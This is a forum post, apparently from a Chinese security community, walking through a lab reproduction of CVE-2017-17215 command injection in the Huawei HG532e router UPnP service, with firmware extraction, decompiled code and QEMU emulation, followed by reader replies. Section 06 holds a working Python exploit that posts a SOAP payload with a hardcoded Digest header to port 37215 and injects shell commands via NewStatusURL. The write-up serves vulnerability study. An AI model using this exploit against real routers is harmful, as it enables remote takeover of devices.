首页
社区
课程
招聘
[原创]HG532e路由器远程命令执行(CVE-2017-17215漏洞复现)
2022-3-10 17:34 25846

[原创]HG532e路由器远程命令执行(CVE-2017-17215漏洞复现)

2022-3-10 17:34
25846


冲天香阵透长安,满城尽带黄金甲。

00前言

最近一直在复现关于路由器的漏洞,前俩天复现了D-link的某款溢出漏洞,感觉做起来有很多坑,一般都是搭建环境造成的坑,在这以华为HG532e的远程命令执行的漏洞做出详细的步骤,供大家参考。我是个IOT新手,发文章一来是想把自己的实验记录一下,二来能够分享和交流一下技术和经验。

 

再废话俩句,个人感觉做路由器相关的漏洞复现,无非就是以下几步:固件获取,提取固件,固件漏洞分析,环境搭建,漏洞利用,总结。以这个步骤来讲解此次文章。

01漏洞详情

漏洞和在该嵌入式系统/bin/mic下的37215端口有关系,该文件通过37215端口启动upnp协议(通用即插即用),之后调用了system()函数。因此可以向目标路由器通过此端口发送POST数据借此调用到system()函数,导致攻击者可以通过此数据包远程命令注入且执行,进而控制路由器。

 

cat 查看一下mic:
图片描述

02固件获取

在这里感谢头顶flag师傅的文章和固件,方便寻找了属于是。

 

头顶flag师傅固件地址:https://gitee.com/p1piyang/backward-analysis/tree/master/

 

当然,一般路由器官网上都会有固件包或者去网上寻找都可以的。

 

不一样的是,我在环境搭建上,没去利用qemu,而是使用了像attify虚拟机的FAT工具去运行仿真路由器环境。

 

但是使用attify的fat运行完虚拟环境以后,没法运行upnp和mis这俩程序服务,也就是说开启不了37215端口,不过这种搭建路由器的方式可以借鉴。

 

最终还是使用的qemu的系统模式去模拟路由器环境。

03提取固件

使用Binwalk提取固件嵌入式系统。不管你用win,还是ubuntu或者Kali,无非只是为了使用其内的binwalk工具而已,能解出系统才是我们的最终目的。所以不要忘记了初心,用啥系统只要有binwalk。

 

1、Kali下使用binwalk,我的上篇文章已经解释了其内binwalk解包为空的方法。
2、Ubuntu下使用binwalk,搜索安装完整版binwalk即可。

 

3、Attify提取固件,Attify是一款物联网渗透测试专用虚拟机,和Kali类似,有没有后门啥的我不知道,反正我觉得好用哈哈哈。有知情人士可以交流一波。

 

本次实验工具使用的是Attify,比较好用里面binwalk和fat工具都很全。

 

binwalk -Me 提取固件
图片描述

 

得到嵌入式系统:
图片描述

04固件漏洞分析

由漏洞POC可以得知,远程注入点<NewStatusURL>内,IDA pro或Ghidra打开squashfs-root/bin/upnp,查找NewStatusURL。

 

由于IDA pro反汇编出来不是很清晰,有些符号表和函数是没有的,所以这里使用Ghidra来看伪代码更加清晰。

 

IDA查找字符串:
图片描述

 

Ghidra查找字符串:

 

图片描述

 

在Ghidar右键查找<NewStatusURL>处被哪里调用了。
图片描述

 

得到关键反汇编代码:

 

图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int FUN_0040749c(int param_1)
 
{
  int iVar1;
  int local_418;
  int local_414;
  char acStack1040 [1028
  iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418);
  if (((iVar1 == 0) && (local_418 != 0)) &&
     (iVar1 = ATP_XML_GetChildNodeByName
                        (*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0))
  {
    if (local_414 != 0) {
      snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",
               local_418,local_414);
      system(acStack1040);
    }
  }
  return iVar1;
}

由伪代码可知

 

&local_418和&local_414都是由ATP_XML_GetChildNodeByName()函数从xml获取节点。

 

并且未经任何检查就交由snprintf()函数与‘upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d’拼接复制到 'acStack1040'。

 

最终交由system()函数进行执行。

 

由上可知,我们的注入点就应该在snprintf()函数当中,在拼接前的单引号就把它给闭合了。再写入system()函数支持的命令进行注入,这东西就像那个sql注入20关似的。

 

还有看了许多文章,说的应该是两处注入点,一个NewDownloadURL,一个NewStatusURL,我想了一下,这个无法就是拼接完了(;ls;;pwd;)再拼接一个命令让system执行而已。

 

我的汇编语言并不好,写文章做复现也只是为了学习,也借鉴了很多师傅的文章,这就不一一列举了,如如有不对请指出哈。谢谢各位。

05环境搭建

这里我没使用qemu的system模式去搭建路由器环境,因为会出现蛮多bug的,所以我先放弃了这种方法,使用的FAT工具搭建虚拟环境。不过有一说一哈qemu的User模式还是很好用的,你做远程调试什么的还是很有用处的!

 

进入Attify虚拟机的/home/oit/tools/firmadyne,使用FAT工具去搭建路由器虚拟环境。
图片描述

 

一张图,写明白这个FAT工具是咋运行的,到时候就这么搞就行。这个不比qemu的系统模式去搭建方便的多哈哈哈哈。不过Attify可能有后门再来就是FAT工具现在好像是不更新了。我用3.0的FAT还不如初版的好用。
三次数据库密码打完以后结果图。
图片描述
打开浏览器输入IP进行测试。
图片描述

 

web端登录账号密码:admin,@Hua1234。

 

如上图所示,我们的路由器环境搭建完成。但是运行完以后我愣住了,我本来的想法是运行好了以后直接使用poc去注入命令开启目标路由器的telnetd服务,但是谁能想到此漏洞那个upnp服务没起来,nmap扫描不到这个37215端口,我也登录不上嵌入式系统,没法继续利用poc。

使用FAT工具搭建环境当个列子吧。

最后还是使用的qemu搭建:

下载qemu:
图片描述
安装依赖文件:

1
apt-get install libglib2.0 libglib2.0-dev autoconf automake libtool uml-utilities bridge-utils

下载模拟系统镜像和大端机:
https://people.debian.org/~aurel32/qemu/mips/
图片描述
创建网桥,添加IP:

1
2
brctl addbr Virbr0
ifconfig Virbr0 192.168.147.100/24 up

图片描述
创建tap接口,添加到Virbr0内:

1
2
3
tunctl -t tap0
ifconfig tap0 192.168.147.101/24 up
brctl addif Virbr0 tap0

图片描述
在系统内再开启一个bedain系统:

1
qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

启动完成后,输入root root进入debain系统,添加IP尝试ping外界:

1
ifconfig eth0 192.168.147.102/24 up

图片描述
图片描述

 

将提取出来的嵌入式系统squashfs-root传到虚拟机内:

1
scp -r squashfs-root root@192.168.147.102:/

图片描述
虚拟机内挂载dev和proc:

1
2
mount -o bind /dev /squashfs-root/dev
mount -t proc /proc /squashfs-root/proc

图片描述

 

在根目录下启动shell:
图片描述

 

再开一个终端使用ssh连接该虚拟机,用来开启upnp和mic:

1
2
3
4
ssh root@192.168.147.102
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic

图片描述
这时候ssh连接的终端已经不能使用了因为IP发生了变化,需要用刚开始qemu连接的终端更改一下路由器IP,方便测试:

1
2
ifconfig eth0 192.168.147.102/24 up
ifconfig br0 192.168.147.104/24 up

使用浏览器进行测试:
图片描述
图片描述

06漏洞利用

我们要利用攻击脚本远程使路由器远程调用system(),远程执行命令即可。
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
 
data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;执行的命令;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('目标路由器IP:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

使用poc在文件系统根目录下创建hack文件夹:
图片描述
图片描述

07小结

安全研究员搞这种漏洞是怎么搞出来的,真厉害啊哈哈。反正我要学的东西实在是太多了,如果自己的实验没有成功,可以查看一下自己的路由器虚拟机有没有开启37215端口,不启动upnp和mic是无法运行这个端口的。
图片描述

 

但是做出来结果并不是复现的目的,目的是在复现的过程种明白这种类型漏洞的形成原理,并且我感觉在做这些复现的时候工具什么的也是个学习的过程,我觉得还是很有收获的。

 

哈哈哈哈。如有不合适的大家请指出来哈。我好学习改正。谢谢各位。

08参考

CSDN王兰富贵险中求师傅的attify1.3
https://pan.baidu.com/s/1Vracsnlt5uNbdmfYK4dp8Q 密码:tvoh

 

CSDN攻城狮师傅的attify3.0
https://pan.baidu.com/s/1-UQOBax1-t8EFVrzGvEhVQ 提取码:zshs

 

头顶flag师傅:https://bbs.pediy.com/thread-269188.htm


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-10-10 11:39 被夏天呀编辑 ,原因: 添加参考
收藏
点赞6
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/03/24 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (12)
雪    币: 370
活跃值: (1634)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
p1yang 1 2022-3-11 09:55
2
0
能帮到你很高兴,头顶flag那个号属实是登不上了。
雪    币: 1698
活跃值: (1589)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
夏天呀 2022-3-11 10:05
3
0
p1yang 能帮到你很高兴,头顶flag那个号属实是登不上了。[em_85]
哈哈哈 没关系 那就关注你这个号哈哈哈。
雪    币: 1698
活跃值: (1589)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
夏天呀 2022-3-14 10:20
4
0
终于完成了,属于是。
雪    币: 205
活跃值: (148)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Brantyh 2022-4-10 01:36
5
0
大佬,为什么我binwalk提取出来的文件squashfs-root是个空文件?
雪    币: 1698
活跃值: (1589)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
夏天呀 2022-4-11 08:51
6
0
Brantyh 大佬,为什么我binwalk提取出来的文件squashfs-root是个空文件?
看我第一篇文章
雪    币: 201
活跃值: (543)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
椰子比尔 2022-4-27 18:08
7
1
的确像极了sql注入
雪    币: 1698
活跃值: (1589)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
夏天呀 2022-5-27 11:02
8
0
椰子比尔 的确像极了sql注入
估计逻辑是一样的
雪    币: 12050
活跃值: (15369)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2022-5-27 14:32
9
0
所以说买一个真实路由器能解决一堆乱七八糟的问题
雪    币: 1698
活跃值: (1589)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
夏天呀 2022-5-30 09:06
10
0
pureGavin 所以说买一个真实路由器能解决一堆乱七八糟的问题
《论金钱的重要性》
雪    币: 31
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
林木 2022-6-9 15:12
11
0
买路由器是黑盒的,肯定不如qemu(跑的起来的话),另外用firmadyne和fat的话,也可以登录到命令行开启服务。测试过程中也能捕获程序里面执行的系统调用,看看哪里可能存在命令执行的问题。
雪    币: 12050
活跃值: (15369)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2022-6-9 17:08
12
0
wx_户口由辶 买路由器是黑盒的,肯定不如qemu(跑的起来的话),另外用firmadyne和fat的话,也可以登录到命令行开启服务。测试过程中也能捕获程序里面执行的系统调用,看看哪里可能存在命令执行的问题。
看样子你是没有被乱七八糟的环境问题折磨过
雪    币: 1698
活跃值: (1589)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
夏天呀 2022-6-10 08:48
13
0
pureGavin 看样子你是没有被乱七八糟的环境问题折磨过
人间真实。
游客
登录 | 注册 方可回帖
返回